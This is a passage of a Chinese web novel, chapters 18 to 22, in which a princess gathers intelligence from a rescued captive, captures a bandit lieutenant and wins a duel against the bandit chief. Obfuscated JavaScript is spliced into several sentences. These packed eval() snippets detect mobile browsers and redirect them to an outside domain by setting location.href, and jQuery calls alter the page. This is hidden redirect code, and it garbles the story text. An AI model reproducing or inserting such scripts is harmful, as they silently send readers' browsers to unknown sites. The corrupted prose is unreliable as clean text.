“如果是探子,在摸清敌方的一切后,便可以通风报信了,可他没有任何行为,反而只是回去好好睡了一觉,除此之外,再也没有任何行动。” 言昭离说出自己的猜测:“或许,他并不是什么探子,而是受害者。” “他身上的伤,不是为了引起我们的注意而故意为之,而是他逃跑出来受的,了解军中事情,也许是为了看我们是否有实力灭了匪寇。” “我有预感,他一定知道着什么,说不定会对我们剿匪有重大帮助。” 祁逾白补充一句:“他如此犹豫,显然是在顾虑什么。” “出了内鬼,且其身份只有可能是在江南任职的官员。” 匪寇平均半月出来活动一次,可言昭离到来后,匪寇再也没了任何动静,显然是有人通风报信。 言昭离分析过江段的行为,她虽谨慎聪敏,可骨子里的狂妄自大,傲然凌世是掩盖不住的,得益于背后的人提提醒颇多,否则到不了今天的地步。 话说到此,言昭离和祁逾白的脑海里同时浮现出一个身影。 “章太守。” 章太守无疑是聪明的,可前面发生的几件事,试图挑起言昭离和广安王之间的矛盾,激发言昭离对广安王的杀意,种种事件,都显示出她的不正常。 “据传,章太守是皇贵俞的远方表亲,要是有这层关系在的话,那就不排除皇贵俞就是江段身后最大的靠山。” “要报复皇贵俞,就先从章太守开始。”言昭离可没忘来江南这一路惊心动魄的刺杀。 江段弑杀成性,残害百姓,皇贵俞纵容这样的人,本性也不是个好的。 “打算怎么做?” “先除了皇贵俞的爪牙。” 祁逾白赞赏的点头:“不错。”目标明确,方向正确。 言昭离惊奇的瞥了一眼祁逾白,要命啊,怎么感觉老板最近夸奖她的次数变多了呢? 平常在工作上,都恨不得骂她十次,连交给他的文件夹封面颜色不正确,都能被挑刺。 “又吐槽我呢?”祁逾白像是有读心术一样,一眼看出言昭离的心中所想。 “没有没有。”言昭离连连摇头,急忙给祁逾白倒了一杯茶,“我怎么可能在心里吐槽老板呢?” 祁逾白面色平静,淡淡品了一口茶,不知道是不是茶太烫手,他‘嘶’了一声。 声音不大不小,刚好被言昭离听见。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567750|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >言昭离心里咯噔一下,完了,茶太烫,把老板烫着了。 不知道是不是太安逸了,她好像忘了,老板只喝八分烫的茶。 言昭离面上愧疚:“对不起,老板,是不是茶太烫了。” “不是,茶的水温刚好,只是……” 祁逾白没再说话,食指轻轻动弹了一下。 言昭离顺着他的视线撇过去,发现他的食指上有一个细长口子,还在冒着血珠。 言昭离忙喊翠鸣拿药,她要给祁逾白包扎。 “这是怎么回事?” 祁逾白身边的金时开口:“大皇女,小郎这是下厨所致。” “下厨?!” 言昭离将脑海里浮现的词与祁逾白搭配,发现怎么看都不搭。 老板还会下厨呢?而且味道还不错,言昭离甚是觉得,祁逾白做的饭,比宫里的御厨还好吃。 “是,无名这几日送的饭菜,都是小郎亲手做的,连大皇女钟爱的那道虾,都是小郎亲手处理虾皮,剔除虾线,这些事情,小郎从来不要别人插手……” 祁逾白沉声打断:“不要再说了,金时,这都是我应该做的。” 言昭离面上一片感动,亲自给祁逾白的手指上药,在伤口出撒上了一层又一层的药膏,为了加快吸收,言昭离还轻轻吹了几下,最后缠布。 明明只是受伤了一个手指,可言昭离快把祁逾白整个手都快缠上了。 再慢点,祁小郎手上指上的伤都快要愈合了,再说,军营中的人受的伤可比这远远严重许多。 旁边的翠鸣在心里默默吐槽。 可关心则乱的某人不会意识到,她只是认为,祁逾白这么矜贵的一个人,就应该什么伤都不要受。 第二日,言昭离特地没去军营,在书房陪祁逾白一起作画。 金时递给祁逾白一封书信:“小郎,这是原小郎送过来的书信。” 原小郎是江南一个官员的妾室,在一次宴会上,见了祁逾白,追着他问如何讨得妻主的欢心。 祁逾白被他吵烦了,就随手给了他一个点。 那就是,想要抓住一个女人的心,首先要抓住她的胃。 言昭离好奇的凑上来:“老板,信上写了什么?” 祁逾白把信拿给她看:“没写什么。” 都是一些无意识的社交话语,什么上次小郎交给他抓住妻主的诀窍,现在他运用自如,妻主也对他越来越好。 他又用了一大段夸祁逾白的绝世容颜,勾人的手段…… 最后,多谢小郎的倾囊相助,能否再告知一些? 祁逾白见言昭离看得认真,面色一变,不由自主的想到一个可能,言昭离不会因为这封信,自圆其说,解释他下厨的事情。 那他做了这么多,全是白费功夫,结果又回到了原处? 言昭离最近感觉自己的老板态度怪怪的,有些殷勤过度,还为她做饭,伤了手。 现在看过这封信后,一切都有了解释,老板是为了圆宴会上出的主意,毕竟现在的言昭离和祁逾白,正是风口浪尖的人物。 一举一动都能传出去。 过不了几日,祁小郎为大皇女下厨,还伤了手,把大皇女心疼的心脏都在抽搐的传言会传遍街市间。 19. 第 19 章 无名睡了一觉,只感觉自己好久没有这么睡过这么一觉了,什么都不用去想,只需要安安稳稳的睡上一觉。 他醒来后,沐浴更衣,又坐在镜子前绞面,绞面在这个世界是男子一种美容技法,为了让自己脸的状态更加好。 这还他许久未做的动作,熟悉的动作里透着些生疏。 一下一下的,刺的脸有些疼。 镜中的人的面容很是清秀,像是山间的一层雾,轻轻濛濛的,只可惜左脸生出的疤生生加了几份可怖感。 他看了一会,将抽屉里的面纱取出来带上。 等一切都收拾好后,去见大皇女。 他来的时间不是很晚,言昭离还待在书房,更准确的说,是一直在等待着他的到来。 “奴参见大皇女。”他一身青绿色衣袍,身形清瘦,显得衣袍空荡荡的,接着从容的跪下,右腿跪下的动作略显僵硬。 “找我何事。”言昭离动作未变。 他扫了一眼旁边端坐的祁逾白:“奴有事需要单独向大皇女禀报,事关剿匪。” “我先下去。”祁逾白起身告辞。 “说吧,你有什么要告诉我的?” “奴原名叫江温州,母亲是江家村的教书先生,匪寇头目江段,是我们村最有天赋的学子,可落榜后成了匪寇,为了不让人知道她的过往,派人把江家村灭了,我在那场灾难中被清风寨二当家高任元瞧上,被掳走了。” “我誓死不从,想发设发逃了好几次,可每一次都被抓了回来,最有机会逃脱的一次,是我找了当地的县丞求助,可第二日,我又被送回了清风寨,打断了右腿,这才得知当地的官员早已跟匪寇有勾当,匪寇抢来的钱财一半是归于当地的官员,就这样,官护匪,匪抢民。” 他深吸一口气:“清风寨地形复杂,易守难攻,再加上她们有心隐藏,势必会不好找,奴恰巧知道清风寨的地形,也知道她们有多少兵力,更重要的是,奴知道江段的书房里,藏着一份名单,是所有与她们有勾结官员的名单。” “奴全部告诉大皇女,恳请大皇女替奴的家人,江家村的所有人,讨一个公道。” 他说完,双眼紧闭,心头上紧压的情绪像是全部都消散了。 在那份解脱的情绪里,还隐藏着一份恐惧。 恐惧大皇女要是没有他所认为的正义,没有他所认为的大义,她选择护着那些官员,护着那些匪寇,那明天迎接他的,会是什么?还是清风寨那密不透风的小房子吗? 上次逃跑打断了一条腿,那这次被抓回去,又会被打断哪条腿?哪只手? 不,不,他不会再让自己落到重复的下场。 他攥紧手里的玻璃碎片,这是刚才来之前打碎茶盏拿的,一旦大皇女是非不分,他就会立刻用尖刃划破自己的喉咙,让鲜血铺满整座殿堂。 这辈子不能报仇,那就化作厉鬼,永久纠缠。 “本皇女答应你。”言昭离如玉的声音响起,在无名的心中掀起一片又一片的涟漪。 “你先下去处理伤口。” 他恍然,这才发现刚才陷入情绪太深,手上的碎片早已划破手心。 “是,奴谨遵大皇女命。” 在身形即将消散在门口时,言昭离叫住他:“你叫无名,还是江温州。” “奴叫无名。” 江温州这个名字,只会属于过去,而现在,他只需要记住,自己是被大皇女救回来的无名。 过去终将会被埋葬。 无名踏出书房,外面的暖阳照在身上,也照进了他的心里,从来没有觉得暖阳能如此温暖。 “跟我们猜想的一样,不过,让我没想到的是,他知道的更多。”言昭离低头写着书信。 她打断给广安王写信,提前告知对方她的下一步打算。 有些事情,需要放手去做,也需要有人兜底,广安王就是一个很好的人选。 祁逾白在旁边研磨:“也算意外之喜。” “打算什么时候出兵?” “越快越好,这些匪寇,残害百姓,又有官相护,日子过得太过平坦,且士兵训练得太久,始终没有一场真正的战争,她们心底的气会越来越小。” 言昭离搁下毛笔:“画的饼,总算到了实现的时候。” “我给你画过饼吗?” 祁逾白冷不丁问了一句,言昭离一时没反应过来:“什么?” “我画过饼吗?” “没有吧。”言昭离这句话说得底气略显不足。对上祁逾白似笑非笑的眼眸,她败下阵来:“好吧,是有的,不过哪个老板不给员工画饼,画了饼,这样才能激发员工的斗志。” “老板,你跟其他老板不同的是,你不是空画饼,你是很有规模的画饼,画的饼最后都能实现的那种。” “不然我也不会死心塌地的跟了你那么久。” 死、心、塌、地?” 在祁逾白重复四个字时,言昭离突然想起了一件往事。 在祁逾白身边工作了一段时间,可工作压力依然很大,她是考虑过换工作的。 但又不能裸辞,不然一下没了经济来源,得喝西北风,且又不能保证下一份工作能比这份更好。 只好做两手准备。 提前在某直聘软件上看好想要跳槽的职业,再货比三家,选择一个合适的时间去面试。 面试的那天天气晴朗,万里无云。 还未开始面试,言昭离的左眼皮子就一直在跳,俗话说左眼跳灾,右眼跳财。 左眼跳了,那是封建迷信,右眼跳了,那就是要发财了。 双标版封建迷信不可信。 秉持着不可信的理念,言昭离进了电梯,一路上都在背自我介绍。 ‘滴——’电梯门开,言昭离猝不及防的跟祁逾白对上了视线。 “老板?你怎么在这。” 言昭离使劲把手里的简历藏在身后,不敢让它漏出来一角。 “我来见朋友,不过言秘书,最让我好奇的是,你怎么在这?我记得,最近跟和昭集团并没有什么合作的往来。” “是没有,那个,那个,我也是来见朋友的。”言昭离胡诌。 祁逾白没说什么,只是点头。 “让让,我有急事。”两人说话的地方是在电梯的斜对面,冲过来的人似乎真的有急事,行事匆忙,不小心撞到了言昭离的半边身子,把她撞得一个趔趄。 “抱歉。”他急匆匆的丢下一句就上了电梯。 言昭离下意识的去揉被撞到的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567751|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地方,那人身形庞大,撞过来的冲击力自然不小。 她揉着揉着,突然意识到了不对劲。 被撞的是右边的肩膀,左手正在揉,那她左手拿的简历去哪里了? “你在找这个吗?”祁逾白递到她面前,言昭离一看,熟悉的封面,熟悉的介绍,这不就是她的简历吗? 她两眼一黑,恨不得原地消失在地球上,还有什么能比上司看到你要跳槽另一家准备的简历更尴尬的事。 她瞥了一眼祁逾白,见他面色平静,没有任何反应。 虽然简历是外壳是透明的,但他可能近视,也可能根本没注意,所以老板肯定没看到,言昭离在心中自欺欺人。 距离面试的时间马上就到了,言昭离委婉告退:“老板,我还有事,就先走了。” “等等。” 言昭离僵硬着笑容:“怎么了?老板。” “就是很想知道言秘书为什么要跳槽?是公司待遇不好吗?” “嗯……”言昭离一时语塞,她能说祁氏集团的待遇不好吗?不能,在她看来,祁氏集团的员工待遇已经算是那么多家企业中最优的了。 但在一家公司工作,不能光看待遇,还有种种考虑因素。 “没有没有,只是想换个工作环境。” “是换个工作环境还是承受不住压力,如果是承受不住压力,那换个环境,还是一样的结果。” 祁逾白的嘴还是一样的毒,有时候让言昭离都忍不住怀疑,他自己舔一下嘴唇,会不会把自己毒死了。 记忆里的人逐渐与眼前人重合。 言昭离替自己辩解:“那是意外,意外,我后面还是挺死心塌地的。” 当时为了赌一口气,舍弃掉已经看好的下一份工作,又跟了祁逾白好几年,从总裁办的边缘做到核心位置。 祁逾白的声音中透着笑意:“嗯,这个我可以作证。” 不再跟祁逾白讨论死心塌地的事情,言昭离在心里纳闷,这男人上了年纪,是不是越来越记仇,怎么陈芝麻烂谷子的事都拿出来提。 她总共也没在祁逾白面前失过几次脸面,都被他知道的一清二楚。 言昭离不知道的是,一旦人心中有了喜欢的人,那人的身影会渐渐清晰起来,包括她所做的事情。 * 这边的广安王收到书信,内心却是大大的震惊和喜悦。 旁边的宣将军不解:“王爷,这封信到底是写了什么,您都来来回回看了三四遍了。” 广安王把信一把拍桌子上:“好,太好了,这份信来得太好了。” “本王的这个侄女可了不得,不仅兵练好了,连这匪寇的底细都摸清楚了,这是老天都在偏爱啊,天生的帝王之相。” 宣将军恨不得一把捂住她的嘴:“王爷啊,这可不兴说,陛下如今身体康朗,这日子还有很长呢。” “本王知道,”广安王瞪了她一眼,“不能往外说,那也挡不住本王很看好她。” “去告诉大皇女,她只管放心的去做,本王给她兜底,另外,传本王的命令,调一千精锐给大皇女。” 广安王是地方的最高权者,且有时候需要外出打仗,是有一定的调兵权,她调出一千精锐,也算在明面上站队言昭离。 20. 第 20 章 “二当家,咱们真要这么打道回府,已经找了那么久,眼看马上就要找到了。” 高任元坐在马背上,她身形魁梧,脸上满是风吹日晒的痕迹。 清风寨有三个当家的,为首的是江段,只会在抢夺朝廷物资的时候出面,二当家高任元,平常出去抢夺商队的物品和向百姓收取保护费,三当家卫兰彭主要是负责后勤工作。 “闭嘴。”虽是警告的话语,可她说时却没有任何警告之意。 手底下的人向来张狂:“二当家,我说的都是实话,要不是三当家看管不力,那男人不会跑了的。” “不是老三。” 她与老三的关系虽好,但始终比不上老三与江段的关系,毕竟当初老三是江段救下的。 没人比高任元更加了解江段狭隘的心理,从小身为神童的她,肩负太多期望,一次科举未考中,为了不面对乡亲失望的眼神和日后的流言蜚语,在背后人的协助下,成为江南最大的匪寇,一把火埋葬了她的过去。 江温州是江家村人,也是那场大火唯一的幸存者,江段不可能不想杀他,只是碍于她的面子。 她这次的任务是将货物送到交易点,不知道怎么的,上面设的交易点很远,要去的话少说也得一个月以上,时间太长,她怕生变故,临行前,特地将江温州托付给卫兰彭,可卫兰彭对江段言听计从的,最后的结果是江温州丢了。 高任元眼神眺望远方,心里埋下了一颗怀疑的种子。 她性格霸道,将江温州视为自己的私有物,如今私有物被旁人动了,心里免不了生出一场怨言。 * “大皇女,这是?”军中的将领问道,她们共同围在一起看桌上的地图。 “这是清风寨的地形。” 有人惊喜出声:“当真?” “不会有假。” “太好了,江段此人,如同阴沟里的老鼠,让人恨得牙痒痒,这下,总算能把她的老巢掀出来了。” “这还真是想瞌睡就有人送来了枕头。” “大皇女认为,什么时候发兵最为合适。” “今天。” 问话的人一脸犹豫:“这是不是太快了些?为何不再做点准备。” “现在发兵,时机最好。”江南官员都有奸细,谁敢保证军中不会有,现在发兵,传信的来不及传,那才真叫一个措手不及呢? “江段只有两千多人,皇姑父给我一千的精兵,三千精锐,何愁拿不下江段。” 言昭离的面上带了一股威严:“要是拿不下江段,你们也就不用在军中任职了。” “大皇女说的是。” 言昭离手指向地图的一片空地:“前几日有人来报清风寨二当家的位置,算算时日,应该到这了,就从她开始吧。” 军中士兵再次被召集起来,所有人不明所以的站在原地,今天不是比试日,召集起来是为何事? 站在前方,是那些将领,她们面色凝重,似乎发生了什么大事。 军帐掀开,言昭离身穿银白色盔甲,手握长剑,剑柄绑了红缨带,一般是亲人绑的,寓意平安和健康,就这样暴露在了众人的面前。 是出征的信号。 “这是什么意思,是我想的那样吗?” “肯定是的,大皇女这装扮,是要带我们去剿匪。” 太好了,总算可以去立功了,老子这次一定要立个大功。” 王麦激动的摇江小春的胳膊:“小春,我们总算可以去剿匪了。” “杀了江段,你的仇就报了。” 向来活泼的江小春却像是失语了一样,她目光湿润,满脑子都是报仇。 有人激动,有人兴奋,但却又一个不起眼的人,满脸慌张,大皇女怎么突然就出兵了,怎么会那么快,她还没来得及传消息。 言昭离的声音传遍全场:“各位将士,你们努力的结果终于到了检验的时候,现在跟我一起,杀了江段,灭光匪寇。” 她们挥舞着手上的兵器,齐声呐喊: “杀了江段,灭光匪寇。” “杀了江段,灭光匪寇。” “杀了江段,灭光匪寇。” 声音在场上久久不息,她们心中澎湃,热血翻涌。 “出发!” * 高任元一行人赶路累了,在一片树林里停歇。 “大当家会不会过于谨慎了些?” “是啊,朝廷派人来灭咱这么多次,不都以失败告终,那些大官,走的时候,一个个都灰头土脸的。” “是啊,听说这次派来的还是一个皇女。” “管她来的是天皇老子还是什么皇女,只要她来,咱们就让她屁滚尿流的回去。” 一道声音插了进来:“你们怎么打算让大皇女屁滚尿流的回去?” 声音陌生,但讨论的两人一点都没察觉到不对劲,她们系上裤腰带,随意回道:“废话,当然是打回去。” “朝中的人一向废物,那皇女,必然也是废物中的废物,说不定不用等到开打,那大皇女就夹着尾巴回去了。” “哦,是吗?” “我看屁滚尿流回去的应该是你们吧。” “你说什么?”讨论的两人互相仇视,“你刚才说什么呢?” “我说了什么?我也没说啊。” “我也没说。” “那是?” 两人齐齐转头,看到身后的江小春和王麦,跟见了鬼一样,还未尖叫出声,嘴巴就被捂住了。 接着,脖颈处就被抵上了一把匕首。 “不想死的话就别出声。” 谁也不想死,两人乖巧的点头,抵在脖子上的匕首仍未离开。 “我问你,你们这一行人有多少。” “四五十个人。” “现在在哪个方位?” 一人颤抖着手,指向斜右方的位置:“就在前面那处树林里。” “你们这一趟出去是干什么的?” “运送货物。” “好了,回答的不错。” 两人松了一口气,以为这样就能逃脱了。 下一秒,被抹了脖子。 倒下的那一秒,听见江小春笑嘻嘻说道:“我还没说完,不想死就别出声的下一句,是想死就出声哦。” “走吧,大皇女还等着咱们回去复命。” 回到军队驻扎的位置,两人简单言明了情况。 “既如此,那就去吧,将人活捉回来。” “是。” ‘嘎嘎嘎——’一群乌鸦从天空飞过。 靠坐在树底下的高任元,眉心横跳,一股浓烈的不安在眼里散开。 “出去的那两人呢?” “说是去方便了。” “怎么那么晚还没回来?” “那两人一向懒惰,可能又跑哪去偷懒去了。” “去派人找回来。” “怎么了,二当家,可是发生了什么事?” 没有征兆的事,高任元向来不会说,她只是揉着眉心:“没事,只是提前上路。” “是,二当——”她的话还未说完,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这句话简直在高任元的雷区蹦跶,她虽然不识字,可她喜欢装成文化人,也喜欢读书人。 她没激怒对方,反而被对方激怒。 “杀了她们。”尽管唐校尉的人数多又如何,实力不行,而她的手底下,可都是能以一敌二的能人。 她冲出保护圈,直奔唐校尉,唐校尉的面色未变,她在即将到唐校尉的面前时,王麦冲了出来。 接过她击来的一剑,用的是言昭离当时化解江小春的一招,当时看过后,她很喜欢,私底下偷偷琢磨,后来大皇女见到她偷练的场景了,还指导了她,现在总算派上了用场。 高任元脸上的神色跟当时的江小春如出一辙,满脸不可置信。 到底是经验丰富,她迅速反应过来,又持剑砍去,两人过了十几招,王麦一开始还能招架住,可她毕竟才练了几年,自然比不过高任元。 不过,拖延着时间也够了。 “住手。”唐校尉出声,“你已经败了。” 高任元往身后看去,她的人死的死,伤的伤,唯一几个好好的脖子上也被人用剑抵住,就算放弃她们的性命,她也不可能冲出那么多人逃跑。 “现在知道什么叫士别三日当刮目相待了吗?” 唐校尉笑眯眯的,心里只记得痛快,之前可没少在高任元的手里吃亏,现在终于讨了回来。 高任元手里的剑逐渐脱落,她不得不面对一个她不愿承认的事实,她败了。 手脚被绑上的时候,她的内心毫无畏惧,不会有事的,她还有用,段姐会来救她。 哪怕平日心里再多怨言,此刻,她都不得不把希望寄托在江段身上。 21. 第 21 章 “大皇女,高任元已经活捉了,如今就在隔壁帐中关押着。” 唐校尉带来的这个消息,另在场人都为之兴奋起来。 “大皇女,高任元此人阴险狡猾,残害百姓无数,臣建议直接就地斩杀,以鼓舞士气。” “不可,高任元是清风寨的二当家,不可就这样杀了。” 第一个建议的人怒骂:“你糊涂了不成,这样的祸害,不杀还留着干什么?” “我看你才是糊涂了,你个莽夫,我是建议利用她进入清风寨。” “清风寨的地形易守难攻,想要进去,至少得费五成的兵力,利用高任元,我们可以轻而易举的攻入清风寨,擒拿江段。” 其他几人皆陷入了沉默,显然是在思考这个计划的可行性。 言昭离否决:“这计划不可行。” “高任元此人,具有不可控因素,如果前脚答应乖乖听话,后脚就出卖,那危险的还是陪同的人。” “且就算把高任元弄晕,她手底下的人也不好操纵,控制一人容易,但多人……” 进入敌人内部,怎么可能像电视剧一样展现的那么容易,绑了一个内部人员,威胁他就能进去,要是在现代,扫脸开门还有可执行的可能。 这是现实,不是电视剧,言昭离也从来没有轻视过古人的智慧。 她话点到为止,其他人也瞬间明白她的意思,她们对于清风寨知道的还是太少,不了解清风寨是否有什么危险信号,也不知道清风寨内部的运行情况,万一开门需要什么口令,那不就暴露了吗? “这也不行,那也不行,那这怎么办。” 所有人的目光看向言昭离,她沉思片刻后出声:“直接与江段做交易,看看这个清风寨的二当家是否那么重要。” 交易什么?所有人的目光带了些疑惑,是用高任元换取清风寨敞开大门呢?还是用高任元换取江段? 有脑子的人都知道选什么,一个高任元,抵不上清风寨人全部的性命,也抵不上一个江段。 很快,言昭离为她们解惑:“江段手中有一份与她们做过交易的朝中人员名单。” “用高任元,来换取这份名单。” * “哎,该到你守了。” “知道了。” “不过,二当家什么时候回来,算算日子,应该也快了。” “今天没回来,明天也快了。” 那人提醒:“别忘了暗号,这可是大当家亲口嘱咐的。” “知道知道,口号必须是二当家亲口说出,要是二当家昏迷,就只放二当家一人进来,其余人一律关在门外,哪怕是认识的也不行。” “这东西,我天天听,耳朵都快生出茧子来了。” “知道就好。” 那人放心的走下城楼,才刚下一节台阶,外面有人喊道:“楼上的人听着,你们二当家在我手里,要想她活命,把你们大当家叫过来。” 下楼的人急匆匆的上前,发现城楼地下,站着乌泱泱一群人,粗略着得有两千五百人,一旁的旗帜随风飘扬,上面的两柄长剑蹭蹭发亮,在最中间,有一辆囚车。 囚车上方出来个人头,下楼那人的视力极好,清楚的认出那是她们的二当家。 刚才接班的那人慌了神:“怎么办,是朝廷的人来了,她们是不是要攻打我们。” 下楼的人轻拍她的脑袋:“你慌啥?又不是第一次经历这种事情,有啥可慌的。” “咱们这个地方,只要不主动开门,别人就攻不上来,你想想,哪次朝廷来不都是灰头土脸的回去。” “可……可,是二当家被绑了啊。” “二当家不会没命吧。” “不会,有大当家在,一切都会无事。”她叮嘱,“你先在这看着,我去禀告大当家。” 下楼的人走的飞速,生怕晚了会发生什么意外。 江段得到消息就赶来了,她走至城楼边,沉声道:“听闻朝廷最近新派了一人来剿匪。” 她从人群中迅速捕捉到言昭离的身影:“对吗?大皇女。” 她的语气中,满是轻蔑,可没有人去指责她的不敬,江段是个匪寇头子,要她对大皇女尊敬,就像要一只狗学说话一样,根本是不可能的事情。 言昭离坐在马背上,一身银白色的盔甲在暖阳下熠熠生辉:“好眼力。” “大皇女来是为了?” “与你做个交易?” 江段眯了眯眸子,只觉得言昭离身上的盔甲耀眼的刺眼:“什么交易?” “用高任元换一个名单。” 言昭离怕江段揣着明白装糊涂,她特指:“你书房里的名单。” 江段听后,在心里狂骂高任元,嘴上没个把门的,她书房里有份名单,这件事只有她和高任元知道。 而大皇女能知道,无非是从江温州那里知道的,她知道江温州在大皇女身边,这是章太守告知她的。可她没料到江温州会知道这事,而他,也只可能是从高任元那知道的。 她无数次强调江温州此人会坏事,可高任元就是不听,还与她有了隔阂。 她沉默着,内心实在不想交出名单,这分名单,事关背后的人,一旦交出,背后的人要是震怒…… 可身后那么多双眼睛看着她,她们不知道这份名单代表着什么,在她们心中,肯定是救高任元更重要。 江湖中最讲究意气,一旦江段舍弃她金兰结义的姐妹,势必会收到无数失望的眼睛。 她怕让人失望,也怕不能服众。 气氛僵持着,所有人都在等着江段的答案,卫兰彭姗姗来迟:“段姐,你在犹豫什么?我们要救二姐。” “救二姐,对吗?” 江段握住她微凉的手,看着她诚恳的眼睛,说不出拒绝的话,老三负责的事务简单,不知道名单的事,且她一向信任自己,要是对她失望…… “江段,做好决定了吗?” 江段深吸一口气,笑道:“大皇女未免太过于霸道了些,要做交易,怎么都不跟我商量商量交易的内容。” “你有的选吗?筹码不在你手里。” 江段答非所问:“我听闻大皇女武功了得,不知道我今日是否有幸,跟大皇女切磋一场。” “一场定输赢,我胜,把高任元交给我,你胜,明日辰时,我无条件把名单交给你。” 言昭离还未出声,地下的一众人劝道:“不可啊,大皇女,您身子金贵,怎么能与这匪寇比试。” “江段此人天生怪力,能平地拔起一棵参天大树,也能一拳打爆人的头,千万不能答应。” “据说江段从无败绩,这场战斗,打起来太悬乎了。” “还请大皇女慎重考虑。” “还请大皇女慎重考虑。” 到后面,几乎所有人都在附和,虽然言昭离也展现过她武力高强,可这场比试的对手是江段,她们几乎不敢相信言昭离能赢。 言昭离仰头,与城楼上的江段对上视线,对方眼里的挑衅溢了出来,无声的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567753|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开口:你敢吗? 她勾唇一笑:“有何不敢,我应。” 两人站在一片空旷地,彼此的身后,是上千双注视的眼睛,这场比试,无论如何都得赢,这是两人共同的认知。 “大皇女,你先请。” “一个匪寇,还需要如此礼让吗?” 江段握紧铁锤的手柄,这种讥讽的语气,是她最讨厌的,她是可以不当匪寇的,她是有机会做人上人的。 都是这群道貌岸然的上层人,都是这群锦衣玉食的贵族,她们掌握着大多数人的生杀大权,却行不义之事。 如此看不起底层人,那就不要吸百姓的血,也不配活在这个世上。 她的眼里带了恨意,手上的力道也发挥到极致:“吃我一锤。” 铁锤夹杂着呼啸的风声一同传进言昭离的耳里,她持剑抵挡,所有人几乎下意识的闭上了眼睛。 虽然是一样的场景,可江段比江小春的力气更大,铁锤的重量也更重,江段的铁锤,至少有上千斤重,体积也比江小春的大上了几倍,这样一锤下来,命有没有都不好说。 江小春睁大双眼,不敢错过一分一毫,江段曾用过这一锤,将她的父母击倒在地,气绝而亡。 大皇女能应付的了吗?她会不会像爹娘一样,被击倒在地。 铁锤与剑相撞,火星迸射间,两人同时被震得踉跄后退。 “大皇女阻挡了下来,大皇女阻挡了下来。” “大皇女太厉害了。” “大皇女就是最厉害的。” 看到言昭离成功抵挡,江小春长舒了一口气,手心传来疼痛,她这才发觉,刚才太过于紧张,指甲都嵌进了掌心,正渗出几滴血珠。 而作为关注点的言昭离,远没有表面表现的那么轻松,她依然用的是道家的功法,不得不说,中国五千多年流传的文化,就是厉害。 但是,不可否认的是,江段的这一击,着实厉害,她半边手臂都震麻了,现在有点使不上劲。 见言昭离接下这一招,江段的神色虽有惊讶,但很快调整过来:“你以为我就这一招了吗?” 她又变换了招式,江段一直都知道,只有实力,才是她在这个世界的最大依靠,她不断学习新的招式,不断练习。 言昭离逐渐感觉到,江段变得越来越难缠,也越来越占据上方。 在第三次铁锤刮起的风从她耳畔划过,她想,不行,不能再这样下去,否则输的人迟早是她。 唯有一法,可以险胜。 她持剑,被压着打了这么久,总算轮到她反击了,她虽不能近江段的身,但能用剑在她身上划几道,等会受的伤不小,就先收点利息。 剑比铁锤的好处就是,更加灵活,虽然江段力气大,握着铁锤跟握着空气一样,但铁锤的受力面积大,行动还是要迟缓些。 被剑划伤了好几下,江段心中越发不耐,想早早结束这场比试。 她瞅准时机,总算抓住言昭离的一个破绽,挥锤落下,击的是言昭离的左手,身体下意识的动作是阻挡不了的,言昭离的左手受创,行动间不可能不迟疑,那时候,就是她给言昭离最后一击的时候。 锤落到手臂上的时候,‘咔嚓’一声,骨裂的声音穿至全场。 江段神情激动,还未来得及最后一击,喉上被抵上了一个冰凉的东西,再往前一寸,她就会命丧当场。 一颗跳跃的心就这样被一盆冷水泼下。 言昭离惨白着一张脸,笑的肆意张狂:“你败了。” 22. 第 22 章 入夜,一行人偷偷摸摸的潜入军帐。 黑暗中,高任元能感觉到有人在给自己松绑:“谁?” 眼上的蒙目布被拿开,在依稀的月光下,她看到了一个熟悉的人,颇有些激动的出声:“老三,你怎么来了?” 卫兰彭小声说:“二姐,我是偷偷来救你的,门外的人已经被迷晕,我们快些走。” 高任元小幅度的点头。 七八个人趁夜前行,眼看马上就要出了大门。 ‘吧嗒’一声,大门被关了起来,紧接着,一个个火把在黑夜中被举了起来,灯火通明,她们无处遁形。 卫兰彭的脸色不好,任谁都能看出来,她的救人计划失败,不仅失败,还把自己搭进去了。 她拔出剑,厉声问道:“你们想干什么?” 言昭离站在前方,尽管左手被缠上了一圈又一圈的绷带,但却丝毫没有折损她的气度:“客人原道而来,当然是要好好招待了。” 卫兰彭往地面上吐口水:“呸,还真是虚伪。” 言昭离依然笑嘻嘻的:“不是客人又怎么会给我们带来那么大的惊喜呢?” 